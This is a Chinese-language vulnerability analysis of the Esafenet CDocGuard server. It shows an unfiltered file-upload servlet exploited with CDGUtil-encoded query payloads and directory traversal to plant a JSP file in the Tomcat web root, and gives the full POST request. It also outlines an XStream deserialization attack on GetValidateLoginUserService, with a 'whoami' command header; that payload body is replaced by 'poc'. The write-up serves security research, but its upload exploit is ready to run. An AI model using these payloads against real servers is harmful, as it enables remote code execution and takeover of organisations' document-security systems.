某次拿到亿赛通安装包进行安装后,在web.xml文件中搜索upload相关的servlet
发现其中UploadFileFromClientServiceForClient存在文件上传漏洞,跟进源代码进行分析
很明显存在文件写入操作
关注文件名是否可控,是否对文件后缀有限制
向上查看代码,发现fileName的获取步骤是:遍历var12数组,当其以fileName开头时,取其=号后面的值,相当于构造如下:fileName=1.jsp,即可使得fileName为1.jsp
接着向上查看代码,可知var12这个数组由value_decode字符串对&字符进行切片得到
而value_decode对&字符进行切片前,经过了CDGUtil.decode与substring
req.getQueryString()就是获取查询字符串,例如:客户端发送?a=b&c=d&e=f,通过request.getQueryString()得到的就是a=b&c=d&e=f
从上述分析可以得知,并没有对fileName有什么过滤操作,fileName的值从value_decode取得,构造payload:
?a=ODJNOLIDLOLPEJHCOIFJJDIJOLLFJLDE,ODJNOLIDLOLPEJHCOIFJJDIJOLLFJLDE为fileName=1.jsp&1经过CDGUtil.encode加密
发送后,发现其文件不是写在web目录下,而是在C:\fileDB\uploaded\store目录
因为安装包安装的路径都是一样的,所以我们可以通过目录穿越将其上传到web目录下:../../../Program Files (x86)/ESAFENET/CDocGuard Server/tomcat64/webapps/ROOT/1.jsp
利用如下payload:?a=AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJCGBIFBGJGJBMCM
POST /CDGServer3/UploadFileFromClientServiceForClient?a=AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJCGBIFBGJGJBMCM HTTP/1.1
Host: 192.168.37.130:8443
Connection: close
Content-Length: 26
<%out.println("123213");%>
亿赛通中使用到了xstream组件,而xstream 1.4.9是存在反序列化漏洞的
GetValidateLoginUserService中调用了xstream组件,fromXML会反序列化xml格式内容,并且这里未对输入做校验
这里传入的xml内容也是会做解密处理的,所以我们传入的内容也要先用CDGUtil.encode进行加密
POST /CDGServer3/xxxxxxxxxxxx HTTP/1.1
Host: 192.168.37.130:8443
Connection: close
ttt: whoami
Content-Length: 29724
poc